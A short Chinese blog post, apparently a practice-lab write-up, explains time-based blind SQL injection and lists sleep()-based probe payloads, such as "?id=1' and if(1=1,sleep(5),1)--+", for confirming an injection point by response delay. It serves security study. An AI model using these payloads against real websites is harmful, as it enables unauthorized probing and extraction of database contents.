经历了有回显信息的SQL注入(字符型,数字型),也见过了有错误信息提示的布尔盲注和普通盲注,接下来就是更进一步的无回显,无报错的时间盲注了!
原理
在没有错误回显和普通的回显信息后,我们只能通过时间盲注了,本质是经过sleep函数,当成功时,服务器会执行sleep 休眠一段时间后再返回数据,通过观察浏览器发送请求到服务器返回数据的时间延迟,即可判断出是否存在时间盲注
靶场实战
首先还是常规套路,先判断是否存在注入点.
?id=1' and 1=1--+
?id=1' and 1=2--+
在经历多次尝试页面均无变化,考虑是否只返回这一个页面,尝试判断是否存在时间盲注点
控制台network中观察返回
?id=1 and if(1=1,sleep(4),1)--+ // 无反应,换单引号构造
?id=1' and if(1=1,sleep(1),1)--+
?id=1' and if(1=1,sleep(5),1)--+
?id=1' and if(1=1,sleep(6),1)--+
阻塞1秒,查询2秒
阻塞5秒,查询2秒
存在时间注入点!
接下来就是常规的盲注思路
主要改变点在于 and if (xxx, sleep(5),1)
用if判断,观察network返回
分享完毕,本文有点水,主要在于其实布尔盲注与时间盲注的整体思路基本一致,关键还是看怎么灵活怎么来,继续加油。
靶场具体过程可看
https://blog.csdn.net/qq_4126...
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。